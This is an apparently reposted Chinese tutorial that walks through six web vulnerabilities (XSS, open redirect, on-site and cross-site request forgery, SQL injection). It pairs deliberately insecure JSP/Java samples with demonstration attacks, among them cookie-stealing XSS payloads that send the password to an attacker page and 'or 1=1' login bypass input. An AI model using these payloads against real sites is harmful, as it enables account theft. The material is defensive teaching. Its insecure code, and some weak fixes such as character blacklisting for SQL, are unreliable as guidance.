Web安全漏洞及解決辦法

Web 安全問題,很多時候會被程序員所忽略,因爲他們相信會有專業的運維人員或者安全服務團隊幫助他們尋找漏洞,並且指導他們修改這些漏洞。而對於小公司,沒有這樣專業的人員又怎麼辦呢?安全漏洞造成了很多不必要的維護和開發任務,產生的問題有時候更是致命的。實際上,只要程序員養成一些習慣,知道一些安全問題的基本原理,可以很大程度避免問題的出現,這也是一個優秀 Web 程序員的必備素質。本文用實際的 JSP 程序例子,講解了 Web 安全問題的類型和其出現的原因,講解基本解決方法,幫助 Web 程序員改善編程習慣。

注:本文所有的例子雖然基於 JSP/Servlet 技術開發,但是漏洞和解決方法的原理適用於其他 Web 技術。

Web 安全現狀

Web 安全現狀不容樂觀,近幾年也存在 Web 攻擊的重大實際案例,比如信息產業部官方報紙《中國電子報》網站被黑、大學生網絡銀行盜竊案等。另據調查顯示,目前網站常見攻擊手段中,SQL 注入、XSS 和跨站腳本攻擊佔了很大部分。攻擊者往往沒有明確的目的性,有些攻擊並不能帶給他們利益,只是出於初學的好奇和攻擊成功的成就感,也就是說許多攻擊由於初學者引起的。實際上,像很多初學駭客的攻擊都可以被防禦,只要我們瞭解其基本原理,就可以應付許多菜鳥駭客的攻擊,減少運維費用。所以文章再一次強調 Web 程序員需要注意編程習慣,盡力保證網站的安全。

實戰

文章從實際的 JSP 例子出發,盡力解釋安全問題產生的原因。這些例子代碼是本人初學 JSP,也是許多人在開始學習 JSP 時容易編寫的問題代碼。代碼看起來並沒有什麼問題,但是往往存在巨大的漏洞。例子雖然簡單,卻很能說明問題。文章將用 6 個例子,分別講述 6 種 Web 攻擊手段及原理,以及程序員需要從哪些方便進行防禦。可以從圖片介紹中查看效果。講解 6 種 Web 漏洞的順序如下表,讀者也可以選擇感興趣的部分點擊查看。

  • 反射型 XSS 漏洞
  • 保存型 XSS 漏洞
  • 重定向漏洞
  • 本站點請求漏洞
  • 跨站點請求漏洞
  • SQL 注入漏洞

在文章的附件代碼中,包含上述各個列表項的示例程序,每個列表項對應了單獨的項目文件夾,以漏洞名稱命名,可以直接使用 Jee Eclipse 打開。

問題代碼 --- 反射型 XSS 漏洞

反射型 XSS 漏洞是一種非常常見的 Web 漏洞,原因是由於程序動態顯示了用戶提交的內容,而沒有對顯示的內容進行驗證限制。因此這就讓攻擊者可以將內容設計爲一種攻擊腳本,並且引誘受害者將此攻擊腳本作爲內容顯示,而實際上攻擊腳本在受害者打開時就開始執行,以此盜用受害者信息。

例子是動態顯示錯誤信息的程序,錯誤信息可以在 URL 中傳遞,顯示時服務器不加任何限制,符合反射型 XSS 攻擊的條件。

清單 1. index.jsp 主要代碼
 <form action="ReflectXSSServer" method="post"> 
  用戶名:<input type="text" name="username" value=""/><br> 
  密 &nbsp; 碼:<input type="password" name="password" value=""/><br> 
  <input type="submit" value="提交"/> 
 </form>
清單 2. ReflectXSSServe.java 主要代碼
 String username = request.getParameter("username"); 
 String password = request.getParameter("password"); 
 // 添加用戶信息到 Cookie,方便下次自動登錄
 addToCookie(“username”, username); 
 addToCookie(“password”, password); 
 request.getRequestDispatcher("
 error.jsp?error=password is wrong!").forward(request, response);
清單 3. error.jsp 主要代碼
 Error Message :<%=request.getParameter("error")%>

index.jsp 作爲用戶登錄界面,提交登錄請求給 ReflectXSSServe.java。ReflectXSSServe.java 處理登錄請求,將用戶名和密碼記錄到 cookie,方便用戶下次登錄。如果登錄信息錯誤 ( 例子代碼直接認爲錯誤 ),就會跳轉到 error.jsp,顯示錯誤信息,錯誤信息是通過名爲 error 的參數傳遞。

問題分析

代碼很簡單,似乎也很合邏輯,但是這個程序暴露出一個嚴重的問題就是錯誤信息是通過參數傳遞,並且沒有經過任何處理就顯示。如果被攻擊者知道存在這樣一個 error.jsp,攻擊者就可以很容易的攻擊用戶並且獲得用戶的重要信息。

攻擊此程序

可以設計這樣一個 URL:http://localhost:8080/application/error.jsp?error=<script>var mess = document.cookie.match(new%20RegExp("password=([^;]*)"))[0]; window.location="http://localhost:8080/attacter/index.jsp?info="%2Bmess</script>。這看起來有點複雜,讓我們分析一下。http://localhost:8080/application/error.jsp?error= 這一部分,是 error.jsp 的地址,我們主要關心後面的錯誤信息內容,這是一段 javascript 腳本,document.cookie.match(new%20RegExp("password=([^;]*)"))[0],這樣一句話,是爲了獲得 cookie 中名爲 password 的值。然後,通過 window.location 重定向到攻擊者的網站,並且把 password 作爲參數傳遞過去,這樣,攻擊者就知道你的密碼了。後面,只需要讓被攻擊者登錄後點擊這個 URL 就可以了。

爲了讓被攻擊者可以點擊這個 URL,攻擊者往往會構建能夠吸引被攻擊者的網頁,或者郵件,這個做法有個形象的稱呼:釣魚攻擊。當被攻擊者登錄應用系統後,cookie 就保存了用戶名和密碼信息。由於設計的 URL 的主體是收信任的網站,被攻擊者往往毫不猶豫的點擊攻擊者設計的 URL,那麼設計好的 script 腳本被當做信息內容嵌入到 error.jsp 中時,就會作爲腳本開始執行,用戶名和密碼也就被人盜取了。

圖 1. 用戶登錄界面
圖 1. 用戶登錄界面

用戶輸入用戶名和密碼分別爲 user 和 pass,登錄後受到釣魚攻擊,點擊了攻擊者設計的 URL。

圖 2. 誘使用戶點擊 URL
圖 2. 誘使用戶點擊 URL

攻擊者設計的 URL 包含攻擊腳本,攻擊腳本執行後,password 的內容被傳到另一個網站,這個應用程序是 attacter(附件中也會包含),password 信息被記錄到攻擊者的數據庫。

圖 3. 攻擊成功界面
圖 3. 攻擊成功界面

解決方法

儘量避免直接顯示用戶提交的數據,應進行一定的過濾,比如對於數據中存在的 < 和 > 等符號需要進行編碼,這樣就可以防止腳本攻擊。

問題代碼 --- 保存型 XSS 漏洞

保存型 XSS 漏洞的危害會更大,它是將攻擊腳本保存到被攻擊的網頁內,所有瀏覽該網頁的用戶都要執行這段攻擊腳本。

這個例子,模仿了一個論壇發表評論的網頁。對於用戶的評論,系統不加任何限制和驗證,直接保存到服務器的數據庫中(例子使用全局對象代替數據庫,作爲例子演示)。並且當有其他用戶查看網頁時,顯示所有評論。

清單 4. saveXSS.jsp 主要代碼
 <jsp:useBean id="tl" scope="application" class="java.util.LinkedList"></jsp:useBean> 
 <% 
 String topic = (String)request.getParameter("topic"); 
 if (topic != null && !topic.equals("")) 
 { 
 tl.add(topic); 
 } 
 %> 
 <div> 
 <% for(Object obj : tl) 
 { 
 String str = (String)obj; 
 %> 
 <div><%=str%><div/> 
 <% } %> 
 </div> 
 <form action="saveXSS.jsp" method="post"> 
評論:<input type="text" name="topic"/><br> 
 <input type="submit" value="提交"/> 
 </form>

這裏用了一個應用級的 List 對象存放評論列表,只是爲了演示方便。用戶可以在 form 中編寫評論內容,提交到同一頁面 saveXSS.jsp,提交以後,List 對象增加這個評論,並且顯示出來。

問題分析

這個程序符合了保存型 XSS 攻擊的所有條件,沒有限制評論內容,程序會保存所有評論,顯示給查看網頁的用戶。只要攻擊者將攻擊腳本作爲評論內容,那麼所有查看評論的用戶都將執行這段攻擊腳本而受到攻擊。

攻擊此程序

攻擊這個程序所需要設計的攻擊腳本和上文的錯誤顯示內容一樣,但是需要注意的是這次不需要編碼,%20 改爲空格,而 %2B 則變爲 +,原因是上例是通過 URL 傳遞數據,而本例是直接通過表單傳遞數據,攻擊腳本:<script>var mess = document.cookie.match(new RegExp("password=([^;]*)"))[0]; window.location="http://localhost:8080/attacter/index.jsp?info="+mess</script>,將這個內容作爲評論發表,那麼當其他用戶查看這個網頁時,攻擊腳本代碼被當做內容嵌入到網頁中,攻擊腳本就被觸發執行,用戶就會受到攻擊,腳本執行過程和反射型 XSS 攻擊一致。

圖 4. 評論界面
圖 4. 評論界面

發表的內容是攻擊者設計的一個攻擊腳本,這個腳本被直接保存到了網頁中。任何查看此頁面的其他用戶,他們的信息都會被盜取。

圖 5. 提交攻擊腳本
圖 5. 提交攻擊腳本

>解決方法

對於保存型 XSS 漏洞,由於我們無可避免的需要顯示用戶提交的數據,所以過濾是必然的,過濾 < 和 > 等符號可以避免上述漏洞的發生。

問題代碼 --- 重定向漏洞

如果應用程序提取用戶可控制的輸入,並使用這個數據執行一個重定向,指示用戶的瀏覽器訪問一個不同於用戶要求的 URL,那麼就會造成重定向漏洞。

例子允許用戶輸入一個重定向路徑,由服務器執行跳轉。

清單 5. index.jsp 主要代碼
 <form action="Redirect"> 
    地址:<input name="target" type="text"><br> 
     <input type="submit" value="提交"> 
 </form>
清單 6. Redirect.java 主要代碼
 String param = request.getParameter("target"); 
 if (param != null && !param.equals("")) 
 { 
 response.sendRedirect(param); 
 }

用戶在 index.jsp 的表單中輸入跳轉的路徑,服務器端的 Redirect.java 執行 sendRedirect 重定向。

問題分析

程序允許讓用戶設置重定向地址,而並沒對地址內容進行驗證處理,而是直接跳轉,那麼攻擊者完全可以設計一個攻擊 URL,其中包含攻擊者設計的攻擊內容,使用釣魚攻擊,誘使用戶點擊此 URL,受到攻擊。

攻擊此程序

設計 URL:http://www.baidu.com,這裏只是以跳轉作爲例子,並沒有構建真正有害的網站,所以使用普通地址作爲演示,假設這個地址有許多有害信息。其中 http:// 頭部非常重要,它可以讓服務器執行絕對跳轉,跳轉到 www.baidu.com。如果沒有 http:// 就會跳轉到系統的相對路徑。

圖 6. 輸入路徑
圖 6. 輸入路徑

點擊提交,網頁就會跳轉到百度界面。

有人試圖這樣處理跳轉路徑 param:param = param.replaceFirst("http://", ""); 將第一個 http:// 替換爲空字符串,認爲這樣可以解決問題,但是攻擊者往往也很聰明,他會將 URL 改爲 : http://http://, 即使替換了第一個,第二天 http:// 就會生效。那麼如果對 param 這麼處理呢:param = param.replaceAll("http://", ""); 將所有的 http:// 都替換,那麼攻擊者可以將 URL 設計爲 hthttp://tp://,將中間的 http:// 替換爲空後,ht 和 tp:// 組合又變爲 http://,攻擊又一次生效 , 因此,我們需要一個更加全面的考慮。

解決方法

避免由用戶決定跳轉的頁面,如果必須這麼做,路徑中只允許出現 /以及 數字或者 英文字符可以一定程度的避免這個問題。

問題代碼 --- 本站點請求漏洞

本站點請求僞造(on-site request forgery,OSRF)是一種利用保存型 XSS 漏洞的常見攻擊有效載荷。是攻擊者設計攻擊代碼,保存到被攻擊網頁上,當普通用戶或者管理員查看頁面時,攻擊代碼就會執行,此攻擊代碼的目的是僞裝成查看網頁的用戶向服務器發出請求。

這是一個發佈圖像的論壇例子,用戶可以輸入圖像 URL,論壇負責讀取此 URL 進行顯示。

img.jsp 與前文的 saveXSS.jsp 代碼相同,只是這次顯示不再是字符串,而是需要將

<div><%=str%><div/> 改爲 <div><img src=<%=str%> width=50 height=50/><div/>,目的是顯示用戶上傳的圖像。

清單 7. admin.jsp 主要代碼
 <% 
 String username = (String)request.getParameter("username"); 
 System.out.println("delete " + username); 
 %> 
 <%=username%>

admin.jsp 是管理員用於刪除用戶的請求處理程序,admin.jsp 實際上應該會判斷是否是管理員賬戶,如果是才允許執行刪除用戶的操作。本文例子假設請求的確爲管理員發出。

問題分析

這個程序明顯存在着保存型 XSS 漏洞,並且上傳的內容被作爲圖像 URL,img 標籤是本站點請求漏洞的敲門器,因爲 img 始終會執行 src 屬性的 URL 請求,而不管 src 指向的是否是真正的圖像。這個程序並沒有對 src 是否是圖片地址進行驗證,因此可以僞造請求。

攻擊此程序

將上傳的圖像 URL 設計爲:admin.jsp? username=hello,提交上去後,從攻擊者的角度看,只是圖片沒有顯示,因爲攻擊者並不是管理員,所以實際上無法刪除 hello 這個用戶。但是當管理員打開這個頁面時,img 標籤就會執行 admin.jsp? username=hello 的請求,請求刪除 hello 用戶,由於的確是管理員發出的請求,服務器執行刪除操作,刪除了 hello 用戶,攻擊者的目的也就達到了。

圖 7. 輸入攻擊 URL
圖 7. 輸入攻擊 URL
圖 8. 攻擊者提交 URL
圖 8. 攻擊者提交 URL

攻擊者點擊提交,自身並沒有什麼影響,只是圖片沒有顯示。然而,當管理員登陸後,admin.jsp 中刪除 user 的操作就會執行,例子中是打印刪除消息到控制檯。

圖 9.admin.jsp 控制檯輸出
圖 9.admin.jsp 控制檯輸出

解決方法

與保存型 XSS 漏洞一節裏的解決方法一樣,不僅僅需要限制腳本,還需要判斷 img 標籤內的 src 屬性是否安全,是否包含不是圖像的 url。

問題代碼 --- 跨站點請求漏洞

跨站點請求漏洞,是一個比較隱蔽的漏洞,發出請求的攻擊代碼,並不存在於被攻擊的網站上,而是利用瀏覽器的跨站點請求特性(IE6 允許,而 FireFox 和 Chrome 禁止了)進行的。所謂的跨站點,就是同一種瀏覽器同時打開不同網站的網頁 A 和 B,如果這個時候 B 向 A 網站發出某個請求,A 網站就會認爲是 A 網頁發出的請求,並且接受這個請求。

例子程序是通過跨站點請求漏洞,對登錄的用戶進行攻擊。

清單 8. Attacker.jsp 主要代碼
 <script type="text/javascript"> 
 setInterval(attack,3000); 
 function attack() 
 { 
                  // 不斷向 UserLogin.java 發出請求
 $.post("http://localhost:8080/KuaZhanDian/UserLogin"); 
 } 
 </script> 
 </head> 
 <body> 
僞造的很有吸引力的網站
 </body>
清單 9. UserLogin.java 主要代碼
 String parameter = request.getParameter("username"); 
 if (parameter != null && !parameter.equals("")) 
 { 
(1) request.getSession().setAttribute("username", parameter); 
 } else 
 { 
(2) Object attribute = request.getSession().getAttribute("username"); 
 if (attribute != null) 
 { 
 System.out.println(attribute + "被侵入咯"); 
 } 
 }

還有一個 index.jsp, 是向 UserLogin.java 提出登錄請求的,注意:Attacker.jsp 是另外一個網站的網頁,用於吸引被攻擊用戶,這個網頁循環的向 UserLogin 提出請求,爲了方便,使用了 JQuery 進行 ajax 開發。UserLogin.java 中,進入(1)位置,代表正常的用戶登錄,進入(2)的位置,代表用戶登錄後處理用戶的請求。

問題分析

絕大多數網站,都沒有考慮跨站點的漏洞,因爲他們的發生是有一定概率的,首先,攻擊者要確認被攻擊者使用的是允許跨站點請求的瀏覽器。其次,被攻擊者要同時打開攻擊者設計的網站並且登錄上面的 UserLogin 纔可以。如果兩個條件都滿足,就可以進行攻擊了。

攻擊此程序

吸引被攻擊者打開設計的具有誘惑力的網站 Attacker.jsp,那麼請求就開始不停地發出,由於服務器認爲不是合法用戶發出的請求,不予處理。於此同時,被攻擊者登錄了正常的應用程序 UserLogin,UserLogin 中記錄了被攻擊者登錄的 session 信息,當 Attacker.jsp 再次發請求(注意,Attacker.jsp 是循環發送請求的)給 UserLogin 時,由於被攻擊者已經登錄,UserLogin 會認爲是被攻擊者發出的請求,屬於正常請求,就處理了這個請求。攻擊目的就達到了。

實際上攻擊成功需要一定步驟,下面圖片按照攻擊步驟排列。

圖 10. 用戶登錄
圖 10. 用戶登錄

用戶登錄後,不關閉頁面,同時又打開攻擊者設計的網頁

圖 11. 用戶受到釣魚攻擊
圖 11. 用戶受到釣魚攻擊

此時攻擊者的頁面不斷向服務器提出請求,用戶並不知道,服務器認爲是 helloworld 提出的正常請求,執行該請求。

圖 12. 控制檯輸出被攻擊信息
圖 12. 控制檯輸出被攻擊信息

解決方法

服務器可以給客戶端發送唯一的 ID,客戶端發送請求時,需要連同這個 ID 一起請求,服務器可以判斷這個 ID 是否正確,正確的話纔可以執行請求。

問題代碼 ---SQL 注入漏洞

SQL 注入,是攻擊者精心設計提交的數據,當服務器使用此數據合成 SQL 語句時,SQL 語句失去了開發者的初衷,被改變了語義。執行了具有破壞力的 SQL 語句。

該例子是用戶登錄的例子,也是 SQL 注入漏洞最容易出現的地方,攻擊者精心設計了用戶名和密碼,使得攻擊者可以使用錯誤的用戶名和密碼登錄應用程序。

清單 10. LoginServer.java 主要代碼
 String username = request.getParameter("username"); 
 String password = request.getParameter("password"); 
 if (username != null && password != null) { 
 String sql = "SELECT username FROM USER WHERE username=" + username 
 + " AND password=" + password + " LIMIT 1"; 
 System.out.println(sql); 
 }

LoginServer.java 負責處理登錄請求,執行判斷請求用戶是否可以登錄的 SQL 語句。這裏輸出實際執行的 SQL 語句,以便我們判斷是否收到攻擊。

問題分析

程序對登錄請求的用戶名和密碼沒有進行任何處理。

攻擊此程序

將用戶名和密碼分別設計爲 username or 1=1 和 password or 1=1,如果將此數據上傳,SQL 語句執行的是 SELECT username FROM USER WHERE username= username or 1=1

AND password= password or 1=1 LIMIT 1, 可以看出,WHERE 語句實際上返回的都是 true,攻擊者雖然不知道登錄用戶的真正用戶名和密碼,但是卻可以順利登錄並且執行此用戶的操作,這就是 SQL 注入的嚴重性了。

圖 13 中,用戶輸入的用戶名和密碼分別爲 user_name、pass_word。

圖 13. 用戶登錄
圖 13. 用戶登錄

點擊登錄,控制檯輸出實際執行的 SQL 語句:

 SELECT username FROM USER WHERE username=user_name AND password=pass_word LIMIT 1 
這是一個正常的 SQL 語句。

用戶輸入用戶名和密碼改爲 user_name or 1=1、pass_word or 1=1。

控制檯輸出實際執行的 SQL 語句:

 SELECT username FROM USER WHERE username=user_name or 1=1 AND 
 password=pass_word or 1=1 LIMIT 1 
 SQL 注入成功。

解決方法

對用戶上傳的數據中,類似 . = == > < 等 SQL 關鍵字進行限制,如果包含就報錯,禁止用戶傳遞危險字符。

其他 Web 安全問題簡介

Web 上還有很多的安全問題,如下面的列表,這些問題在很大程度可以通過代碼進行防控。有興趣的讀者可以進一步查閱資料,瞭解這些安全問題。

  • 遠程命令執行 (Code execution)
  • 目錄遍歷 (Directory traversal)
  • 文件包含 (File inclusion)
  • 腳本代碼暴露 (Script source code disclosure)
  • Http 請求頭的額外的回車換行符注入 (CRLF injection/HTTP response splitting)
  • PHP 代碼注入 (PHP code injection)
  • XPath injection
  • Cookie 篡改 (Cookie manipulation)
  • Google Hacking
  • 框架注入
  • JSON 劫持
  • 會話固定
  • ActiveX 漏洞
  • 攻擊緩存 Web 內容
  • 持久性 cookie 漏洞

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章